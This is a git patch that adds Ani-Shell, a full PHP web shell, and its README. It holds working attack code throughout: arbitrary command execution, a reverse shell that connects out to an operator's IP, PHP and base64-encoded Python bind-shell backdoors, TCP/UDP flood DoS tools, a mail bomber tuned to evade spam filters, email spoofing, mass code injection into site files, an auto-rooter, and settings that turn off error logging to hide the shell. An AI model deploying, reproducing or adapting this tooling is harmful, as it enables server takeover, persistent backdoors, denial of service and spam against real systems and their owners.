From 7298fa657445e9e4cca1f67d29d6dc7670855ace Mon Sep 17 00:00:00 2001 From: tennc Date: Sun, 29 Sep 2013 17:48:21 +0800 Subject: [PATCH] update php --- php/Ani-Shell/Ani-Shell.php | 2482 +++++++++++++++++++++++++++++++++++ php/Ani-Shell/README.txt | 68 + 2 files changed, 2550 insertions(+) create mode 100644 php/Ani-Shell/Ani-Shell.php create mode 100644 php/Ani-Shell/README.txt diff --git a/php/Ani-Shell/Ani-Shell.php b/php/Ani-Shell/Ani-Shell.php new file mode 100644 index 0000000..0322c98 --- /dev/null +++ b/php/Ani-Shell/Ani-Shell.php @@ -0,0 +1,2482 @@ +>>>>>>>> c0d3d by lionaneesh <<<<<<<<<< +[]======================================== +[]+ Email: lionaneesh@gmail.com + +[]+ Twitter : twitter.com/lionaneesh + +[]======================================== +[] +[] +[] +[] +[] +[] +[] +[] +[] +[] C0de For India +[] Hack For India +[] Live for India +[] +[] + +Jai Hind +*/ + +ini_set('max_execution_time',0); +ini_set('memory_limit','999999999M'); + + +function Zip($source, $destination) // Thanks to Alix Axel +{ + if (!extension_loaded('zip') || !file_exists($source)) { + return false; + } + + $zip = new ZipArchive(); + if (!$zip->open($destination, ZIPARCHIVE::CREATE)) { + return false; + } + + $source = str_replace('\\', '/', realpath($source)); + + if (is_dir($source) === true) + { + $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); + + foreach ($files as $file) + { + $file = str_replace('\\', '/', realpath($file)); + + if (is_dir($file) === true) + { + $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); + } + else if (is_file($file) === true) + { + $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); + } + } + } + else if (is_file($source) === true) + { + $zip->addFromString(basename($source), file_get_contents($source)); + } + + return $zip->close(); +} + +if(isset($_GET['zip'])) { + $src = $_GET['zip']; + $dst = getcwd()."/".basename($_GET['zip']).".zip"; + if (Zip($src, $dst) != false) { + $filez = file_get_contents($dst); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($filez)); + header("Content-disposition: attachment; filename=\"".basename($dst)."\";"); + echo $filez; + } + exit; +} + +// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\ + +/**************** Defines *********************************/ + +$greeting = "0x xx W3lc0m3 M4st3r xx x0"; +$user = "lionaneesh"; +$pass = "lionaneesh"; +$lock = "on"; // set this to off if you dont need the login page +$antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life') +$tracebackFeature = "off"; // set this feature to on to enable email alerts +$ownerEmail = "lionaneesh@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell +$url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; +$phpVersion = phpversion(); +$self = $_SERVER["PHP_SELF"]; // Where am i +$sm = @ini_get('safe_mode'); +$SEPARATOR = '/'; // Default Directory separator +$os = "N/D"; + +if(stristr(php_uname(),"Windows")) +{ + $SEPARATOR = '\\'; + $os = "Windows"; +} + +else if(stristr(php_uname(),"Linux")) +{ + $os = "Linux"; +} + +//*************************************************************/ + +// -------------- Traceback Functions + +function sendLoginAlert() +{ + global $ownerEmail; + global $url; + $accesedIp = $_SERVER['REMOTE_ADDR']; + $randomInt = rand(0,1000000); # to avoid id blocking + $from = "ani-shell$randomInt@fbi.gov"; + + //echo $from; + + if(function_exists('mail')) + { + $subject = "Shell Accessed -- Ani-Shell --"; + $message = " +Hey Owner , + + Your Shell(Ani-Shell) located at $url was accessed by $accesedIp + + If its not you :- + + 1. Please check if the shell is secured. + 2. Change your user name and Password. + 3. Check if lock is 0n! + + Thanking You + +Yours Faithfully +Ani-Shell + "; + mail($ownerEmail,$subject,$message,'From:'.$from); + } +} + +//--------------------------------------------------------- + + +if(function_exists('session_start') && $lock == 'on') +{ + session_start(); +} +else +{ + // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported + $lock = 'off'; +} + +//logout + +if(isset($_GET['logout']) && $lock == 'on') +{ + $_SESSION['authenticated'] = 0; + session_destroy(); + header("location: ".$_SERVER['PHP_SELF']); +} + +ini_set('max_execution_time',0); + + + +/***************** Restoring *******************************/ + + +ini_restore("safe_mode_include_dir"); +ini_restore("safe_mode_exec_dir"); +ini_restore("disable_functions"); +ini_restore("allow_url_fopen"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); + +if(function_exists('ini_set')) +{ + ini_set('error_log',NULL); // No alarming logs + ini_set('log_errors',0); // No logging of errors + ini_set('file_uploads',1); // Enable file uploads + ini_set('allow_url_fopen',1); // allow url fopen +} + +else +{ + ini_alter('error_log',NULL); + ini_alter('log_errors',0); + ini_alter('file_uploads',1); + ini_alter('allow_url_fopen',1); +} + +// ---------------------------------------------------------------------------------------------------------------- + + +?> + + +Ani-Shell | India + + + + + + + + + + + +
+ +

Lock is Switched Off! , The shell can be accessed by anyone!

+ + + + + + + + +
+
+
+
+[]========================================
+[]--------------Ani Shell-----------------
+[]----------------------------------------
+[]========================================
+[]>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
+[]========================================
+[]   Email: lionaneesh@gmail.com         +
+[]   Twitter : twitter.com/lionaneesh    +
+[]========================================
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[]
+[]  C0de For India
+[]  Hack For India
+[]  Live for India
+[]
+[]
+
+
+
+ + // include("http://ani-shell.sourceforge.net/wassup.txt"); + // + ?> + + +



+
+ +
+
+ + + + + $mod; $i++) + { + $size /= $mod; + } + + return round($size, 2) . ' ' . $units[$i]; + } + +function getClientIp() +{ + echo $_SERVER['REMOTE_ADDR']; +} + +function getServerIp() +{ + echo getenv('SERVER_ADDR'); +} +function getSoftwareInfo() +{ + echo php_uname(); +} +function diskSpace() +{ + echo HumanReadableFilesize(disk_total_space("/")); +} +function freeSpace() +{ + echo HumanReadableFilesize(disk_free_space("/")); +} +function getSafeMode() +{ + global $sm; + echo($sm?"ON (Most of the Features will Not Work)":"OFF"); + +} + +function getDisabledFunctions() +{ + if(!ini_get('disable_functions')) + { + echo "None"; + } + else + { + echo @ini_get('disable_functions'); + } +} + +function getFilePermissions($file) +{ + +$perms = fileperms($file); + +if (($perms & 0xC000) == 0xC000) { + // Socket + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + // Symbolic Link + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + // Regular + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + // Block special + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + // Directory + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + // Character special + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + // FIFO pipe + $info = 'p'; +} else { + // Unknown + $info = 'u'; +} + +// Owner +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + +// Group +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + +// World +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + +return $info; + +} + +// Dir size + +/** + * Get the directory size + * @param directory $directory + * @return integer + */ +function dirSize($directory) { + $size = 0; + foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){ + try { + $size += $file->getSize(); + } + catch (Exception $e){ // Symlinks and other shits + $size += 0; + } + } + return $size; +} + +/***********************************************************/ +// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is +// Turned OFF! +/**********************************************************/ + + +function exec_all($command) +{ + + $output = ''; + if(function_exists('exec')) + { + exec($command,$output); + $output = join("\n",$output); + } + + else if(function_exists('shell_exec')) + { + $output = shell_exec($command); + } + + else if(function_exists('popen')) + { + $handle = popen($command , "r"); // Open the command pipe for reading + if(is_resource($handle)) + { + if(function_exists('fread') && function_exists('feof')) + { + while(!feof($handle)) + { + $output .= fread($handle, 512); + } + } + else if(function_exists('fgets') && function_exists('feof')) + { + while(!feof($handle)) + { + $output .= fgets($handle,512); + } + } + } + pclose($handle); + } + + + else if(function_exists('system')) + { + ob_start(); //start output buffering + system($command); + $output = ob_get_contents(); // Get the ouput + ob_end_clean(); // Stop output buffering + } + + else if(function_exists('passthru')) + { + ob_start(); //start output buffering + passthru($command); + $output = ob_get_contents(); // Get the ouput + ob_end_clean(); // Stop output buffering + } + + else if(function_exists('proc_open')) + { + $descriptorspec = array( + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + ); + $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes' + if(is_resource($handle)) + { + if(function_exists('fread') && function_exists('feof')) + { + while(!feof($pipes[1])) + { + $output .= fread($pipes[1], 512); + } + } + else if(function_exists('fgets') && function_exists('feof')) + { + while(!feof($pipes[1])) + { + $output .= fgets($pipes[1],512); + } + } + } + pclose($handle); + } + + return(htmlspecialchars($output)); + +} + +function magicQuote($text) +{ + if (!get_magic_quotes_gpc()) + { + return $text; + } + return stripslashes($text); +} + +function md5Crack($hash , $list) +{ + $fd = fopen($list,"r"); + if( strlen($hash) != 32 || $fd == FALSE) + { + // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging + return "

Hash or List invalid!

"; + } + else + { + while (! feof( $fd )) + { + if( ($pwdList = fgets( $fd, 1024 )) == FALSE) + { + break; + } + $pwdList = trim($pwdList); + + if(md5($pwdList) == $hash ) + { + return "\n

Hash Cracked



\n

Planintext : $pwdList

"; + } + } + + } +} + +function exec_query_mysql($query,$sql_server,$sql_port,$sql_db,$sql_user,$sql_pass) +{ + $link = mysql_connect($sql_server.":".$port,$sql_user,$sql_pass); + if(!$link) + { + return 'Could not connect: ' . mysql_error(); + } + $resource = mysql_query($query); + if(!$resource) return(mysql_error()); +} + +//------------------------------------------------------------------------------------------------ + + +?> + + + + + + + + +
+ + +
+
+Your IP : | Server IP :
+ Safe Mode :
+ +
+
+
+ Server ADMIN: | + PHP VERSION : | + Curl : Enabled"):("Disabled"); ?> | + Oracle : Enabled"):("Disabled"); ?> | + MySQL : Enabled"):("Disabled");?> | + MSSQL : Enabled"):("Disabled"); ?> | + PostgreSQL : Enabled"):("Disabled"); ?> | + Disable functions : | + Space : | + Free : + +
+ + +
+ +

+
+ + + + + +
+ You are ".trim(exec_all("whoami"))."

"; + else + echo "

You are ".trim(exec_all("whoami"))."

"; + } + else + { + echo "

Rooting Failed

"; + } + } + } + else + { + echo "

Permission Denied

"; + } + ?> + + +
+

+ +
+ + File uploaded to $uploadPath

"; + } + else + { + echo "

Failed to upload file to $uploadPath

"; + } + } + } + else + { + ?> + + + + + + + +
Upload (From ur Computer)
+ + + + + + + + + + + + + + +
+ +
+
+ + Overwritten Files :- +
    + +
  • ">
  • + Permission Denied

    "; break; + fwrite($fd,$message); + } + } + ?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Directory + + +
+ Mode + + +
+ File Type + + +
+ +
+ +
+ + + + + + + + + + + + + + + + + + +
+ Hash + + +
+ Password List (File Path) + + +
+ +
+ + +
+
+
+ +
+
+ +

Note : Any one of the following options is compulsory to be filled rest can be left blank.

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ intitle + + +
+ intext + + +
+ inurl + + +
+ site + + +
+ +
+ The Program is now trying to connect!

"; + $ip = $_POST['ip']; + $port=$_POST['port']; + $sockfd=fsockopen($ip , $port , $errno, $errstr ); + if($errno != 0) + { + echo "$errno : $errstr"; + } + else if (!$sockfd) + { + $result = "

Fatal : An unexpected error was occured when trying to connect!

"; + } + else + { + fputs ($sockfd ,"\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n================================================================="); + $pwd = exec_all("pwd"); + $sysinfo = exec_all("uname -a"); + $id = exec_all("id"); + $dateAndTime = exec_all("time /t & date /T"); + $len = 1337; + fputs($sockfd ,$sysinfo . "\n" ); + fputs($sockfd ,$pwd . "\n" ); + fputs($sockfd ,$id ."\n\n" ); + fputs($sockfd ,$dateAndTime."\n\n" ); + while(!feof($sockfd)) + { + $cmdPrompt ="(Ani-Shell)[$]> "; + fputs ($sockfd , $cmdPrompt ); + $command= fgets($sockfd, $len); + fputs($sockfd , "\n" . exec_all($command) . "\n\n"); + } + fclose($sockfd); + } + } + else if( + isset($_POST['port']) && + isset($_POST['passwd']) && + $_POST['port'] != "" && + $_POST['passwd'] != "" && + isset($_POST['mode'])) + { + $address = '127.0.0.1'; + $port = $_POST['port']; + $pass = $_POST['passwd']; + + if($_POST['mode'] == "Python") + { + $Python_CODE = "IyBTZXJ2ZXIgIA0KIA0KaW1wb3J0IHN5cyAgDQppbXBvcnQgc29ja2V0ICANCmltcG9ydCBvcyAgDQoNCmhvc3QgPSAnJzsgIA0KU0laRSA9IDUxMjsgIA0KDQp0cnkgOiAgDQogICAgIHBvcnQgPSBzeXMuYXJndlsxXTsgIA0KDQpleGNlcHQgOiAgDQogICAgIHBvcnQgPSAzMTMzNzsgIA0KIA0KdHJ5IDogIA0KICAgICBzb2NrZmQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgIA0KDQpleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCg0KICAgICBwcmludCAiRXJyb3IgaW4gY3JlYXRpbmcgc29ja2V0IDogIixlIDsgIA0KICAgICBzeXMuZXhpdCgxKTsgICANCg0Kc29ja2ZkLnNldHNvY2tvcHQoc29ja2V0LlNPTF9TT0NLRVQgLCBzb2NrZXQuU09fUkVVU0VBRERSICwgMSk7ICANCg0KdHJ5IDogIA0KICAgICBzb2NrZmQuYmluZCgoaG9zdCxwb3J0KSk7ICANCg0KZXhjZXB0IHNvY2tldC5lcnJvciAsIGUgOiAgICAgICAgDQogICAgIHByaW50ICJFcnJvciBpbiBCaW5kaW5nIDogIixlOyANCiAgICAgc3lzLmV4aXQoMSk7ICANCiANCnByaW50KCJcblxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KcHJpbnQoIi0tLS0tLS0tIFNlcnZlciBMaXN0ZW5pbmcgb24gUG9ydCAlZCAtLS0tLS0tLS0tLS0tLSIgJSBwb3J0KTsgIA0KcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iKTsgDQogDQp0cnkgOiAgDQogICAgIHdoaWxlIDEgOiAjIGxpc3RlbiBmb3IgY29ubmVjdGlvbnMgIA0KICAgICAgICAgc29ja2ZkLmxpc3RlbigxKTsgIA0KICAgICAgICAgY2xpZW50c29jayAsIGNsaWVudGFkZHIgPSBzb2NrZmQuYWNjZXB0KCk7ICANCiAgICAgICAgIHByaW50KCJcblxuR290IENvbm5lY3Rpb24gZnJvbSAiICsgc3RyKGNsaWVudGFkZHIpKTsgIA0KICAgICAgICAgd2hpbGUgMSA6ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIGNtZCA9IGNsaWVudHNvY2sucmVjdihTSVpFKTsgIA0KICAgICAgICAgICAgIGV4Y2VwdCA6ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICBwaXBlID0gb3MucG9wZW4oY21kKTsgIA0KICAgICAgICAgICAgIHJhd091dHB1dCA9IHBpcGUucmVhZGxpbmVzKCk7ICANCiANCiAgICAgICAgICAgICBwcmludChjbWQpOyAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgIGlmIGNtZCA9PSAnZzJnJzogIyBjbG9zZSB0aGUgY29ubmVjdGlvbiBhbmQgbW92ZSBvbiBmb3Igb3RoZXJzICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tLS0tLS0tLS0iKTsgIA0KICAgICAgICAgICAgICAgICBjbGllbnRzb2NrLnNodXRkb3duKCk7ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIG91dHB1dCA9ICIiOyAgDQogICAgICAgICAgICAgICAgICMgUGFyc2UgdGhlIG91dHB1dCBmcm9tIGxpc3QgdG8gc3RyaW5nICANCiAgICAgICAgICAgICAgICAgZm9yIGRhdGEgaW4gcmF3T3V0cHV0IDogIA0KICAgICAgICAgICAgICAgICAgICAgIG91dHB1dCA9IG91dHB1dCtkYXRhOyAgDQogICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIGNsaWVudHNvY2suc2VuZCgiQ29tbWFuZCBPdXRwdXQgOi0gXG4iK291dHB1dCsiXHJcbiIpOyAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tIik7ICANCiAgICAgICAgICAgICAgICAgY2xpZW50c29jay5jbG9zZSgpOyAgDQogICAgICAgICAgICAgICAgIGJyZWFrOyAgDQpleGNlcHQgIEtleWJvYXJkSW50ZXJydXB0IDogIA0KIA0KDQogICAgIHByaW50KCJcblxuPj4+PiBTZXJ2ZXIgVGVybWluYXRlZCA8PDw8PFxuIik7ICANCiAgICAgcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KICAgICBwcmludCgiXHRUaGFua3MgZm9yIHVzaW5nIEFuaS1zaGVsbCdzIC0tIFNpbXBsZSAtLS0gQ01EIik7ICANCiAgICAgcHJpbnQoIlx0RW1haWwgOiBsaW9uYW5lZXNoQGdtYWlsLmNvbSIpOyAgDQogICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCg=="; + + $fd = fopen("bind.py","w"); + + if($fd != FALSE) + { + fwrite($fd,base64_decode($Python_CODE)); + + if($os == "Linux") + { + echo "[+] OS Detected = Windows"; + exec_all("chmod +x bind.py ; ./bind.py"); + + // CHeck if the process is running + + $pattern = "bind.py"; + + $list = exec_all("ps -aux"); + } + else + { + echo "[+] OS Detected = Windows"; + exec_all("start bind.py"); + // CHeck if the process is running + + $pattern = "python.exe"; + + $list = exec_all("TASKLIST"); + } + + + if(preg_match("/$pattern/",$list)) + { + echo "

Process Found Running! Backdoor Setuped Successfully! :D

"; + } + else + { + echo "

Process Not Found Running! Backdoor Setup FAILED :(

"; + } + + echo "

\nTask List :-
\n$list
"; + + } + } + } + else if($_POST['mode'] == "PHP") + { + + // Set time limit to indefinite execution + set_time_limit (0); + + + // Set the ip and port we will listen on + + + if(function_exists("socket_create")) + { + // Create a TCP Stream socket + $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + + + // Bind the socket to an address/port + + + if(socket_bind($sockfd, $address, $port) == FALSE) + { + echo "Cant Bind to the specified port and address!"; + } + // Start listening for connections + socket_listen($sockfd,15); + + + $passwordPrompt = "\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n=================================================================\n\n0xPassword : "; + + /* Accept incoming requests and handle them as child processes */ + $client = socket_accept($sockfd); + + + socket_write($client , $passwordPrompt); + // Read the pass from the client + $input = socket_read($client, strlen($pass) + 2); // +2 for \r\n + if(trim($input) == $pass) + { + socket_write($client , "\n\n"); + socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t") . "\n" . exec_all("ver") : exec_all("date") . "\n" . exec_all("uname -a")); + socket_write($client , "\n\n"); + while(1) + { + // Print Command prompt + $commandPrompt ="(Ani-Shell)[$]> "; + $maxCmdLen = 31337; + socket_write($client,$commandPrompt); + $cmd = socket_read($client,$maxCmdLen); + if($cmd == FALSE) + { + echo "The client Closed the conection!"; + break; + } + socket_write($client , exec_all($cmd)); + } + } + else + { + echo "Wrong Password!"; + socket_write($client, "sU(|< - 0FF Bitch!\n\n"); + } + socket_shutdown($client, 2); + socket_close($socket); + + // Close the client (child) socket + //socket_close($client); + // Close the master sockets + //socket_close($sock); + } + else + { + echo "Socket Conections not Allowed/Supported by the server!
"; + } + } + else + { + ?> + + + + + + + + + + + + + +
Back ConnectBind Shell
+ + + + + + + + + + + + + +
IP + +
Port
Mode +   
+
+ + + + + + + + + + + + + +
Port + +
Passwd +
+ Mode + +   
+
+

Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!

+

$data

"; + + print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message
"; + for($i=0;$i<$times;$i++) + { + $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); + if($socket) + { + fwrite($socket , $data , $length ); + fclose($socket); + } + } + echo ""; + echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."
"; + echo "Total Number of Packets Sent : " . $times . "
"; + echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "
"; + echo "Data per packet = " . HumanReadableFilesize($length) . "
"; + } + else + { + ?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ IP + + +
+ Port + + +
+ Timeout + + +
+ No of times + + +
+ Message (The message Should be long and it will be multiplied with the value after it) + + + + x + + +
+ +
+
+ "; + + while(1) + { + $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout); + if($socket) + { + fwrite($socket , $data); + fclose($socket); + $packets++; + } + if(time() >= $maxTime) + { + break; + } + } + echo ""; + echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."
"; + echo "Total Number of Packets Sent : " . $packets . "
"; + echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "
"; + echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "
"; + } + else + { + + ?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ IP + + +
+ Port + + +
+ Timeout (Time in seconds) + + +
+ Execution Time (Time in seconds) + + +
+ No of Bytes per/packet + + +
+ +
+
+ Some Error Occured!

"; + break; + } + } + if($error != 1) + { + echo "

Mail(s) Sent!

"; + } + } + else + { + ?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ To + + +
+ Subject + + +
+ No. of Times + + +
+ + Pad your message (Less spam detection) + + + + + +
+ +
+ +
+
+ Mail Sent!

"; + } + else + { + echo "

Some Error Occured!

"; + } + } + else + { + ?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ From + + +
+ To + + +
+ Subject + + +
+ +
+ +
+
+ Permission Denied

"; + else { + fwrite($handle,$_POST['content']); + echo "Your changes were Successfully Saved!"; + } + } + else + { + echo "

File Name Specified does not exists!

"; + } +} + +// PHP Obfuscator + +else if(isset($_GET['obfuscate'])) +{ + if ( isset($_POST['code']) && + $_POST['code'] != '') + { + $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P + $encode = ' + +'; + } + else + { + $encode = 'Please Enter your Code! and Click Submit! :)'; + }?> +
+
+ +
+ + +
+
+ + + + + + + +
File :
Size :
+
+ +
+ + + + + +
+ + + + + + + +
File :
To :
+ +
+ "; + $dir = getcwd(); + if(isset($_GET['dir'])) + { + $dir = $_GET['dir']; + } + ?> + + + + + + + +
PWD
+ + + + + + + + + + + Could Not Delete the FILE Specified

"; + } + } + + else if(isset($_GET['delete_dir'])) + { + if(rmdir(($_GET['delete'])) == FALSE) + { + echo "

Could Not Delete the DIRECTORY Specified

"; + } + } + + if(is_dir($dir)) + { + $handle = opendir($dir); + if($handle != FALSE) + { + if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;} + while (($file = readdir($handle)) != false) { + if ($file != "." && $file != "..") + { + + $color = 'red'; + if(is_readable($dir.$file)) + { + $color = 'yellow'; + } + if(is_writable($dir.$file)) + { + $color = 'green'; + } + + if(is_dir($dir.$file)) + { + ?> + + + + + + + + + + + + + + + + + + Permission Denied

"; + } + ?> +
NameSizePermissionsDeleteRenameZip
/DeleteRenameDownload (zip)
DeleteRenameDownload (zip)
+ + + +
+
+ + + + + diff --git a/php/Ani-Shell/README.txt b/php/Ani-Shell/README.txt new file mode 100644 index 0000000..8a57648 --- /dev/null +++ b/php/Ani-Shell/README.txt @@ -0,0 +1,68 @@ +Ani-Shell v1.5 (Final) + by lionaneesh + +Note: Ani-Shell was intended to be used for Demonstration and Learning Purposes only, +Author is not responsible for any damage it may cause and user holds full responsibility +of his/her actions. + +==[0x00] Introduction + +Ani-Shell is a simple PHP shell with some unique features like Mass Mailer , +A simple Web-Server Fuzzer , Dosser, Back Connect , Bind Shell, Back Connect, Auto Rooter etc. +This shell has immense capabilities and have been written with some coding standards in mind +for better editing and customization. + +====[0x001] Customization + +1. Email Trace back is set to Off as default and emails will not be sent , If you are setting +This feature on make sure you change the default email address (lionaneesh@gmail.com) to Your email +Address, Please Change it before using. + +2. Username and Passwords are set to lionaneesh and lionaneesh respectively, please change them for better security. + +3. As default Lock Mode is set to on! This should not be change unless you want your shell exposed. + +4. As default the Anti-Crawler Feature is set to "off" ! Change it to "on" for anti-crawler support , and longer Shell life! + +5. A variable named greetings can be changed to change the Shell's greeting message. + +====[0x0001] Support + +[0x0001C] Official Page (https://www.facebook.com/pages/Ani-Shell/262601177097339) + +====[0x0002] Default Login + +Username : lionaneesh +Password : lionaneesh + +==[0x01] Features + +[0x01A] Shell +[0x01B] Platform Independent +[0x01C] Mass - Mailer +[0x01D] Small Web-Server Fuzzer +[0x01E] Dosser +[0x01F] Design +[0x02A] Secure Login +[0x02B] Deletion of Files +[0x02C] Bind Shell +[0x02D] Back Connect +[0x02E] Fixed Some Coding errors! +[0x02F] Rename Files +[0x03A] Encoded Title +[0x03B] Traceback (Email Alerts) +[0x03C] PHP Evaluate +[0x03D] Better Command Execution (even supports older version of PHP) +[0x03E] Mass Code Injector (Appender and Overwinter) +[0x03F] Lock Mode Customization +[0x04A] Mail Bomber (With Less Spam detection feature) +[0x04B] PHP Decoder +[0x04C] Anti-Crawler Feature +[0x04D] MD5 Hash Cracker +[0x04E] Python Bind-Shell + +=============[0x0101] New in this version + +[0x0101A] Intelligent File Manager +[0x0101A] Auto Rooter +[0x0101A] PHP Obfuscate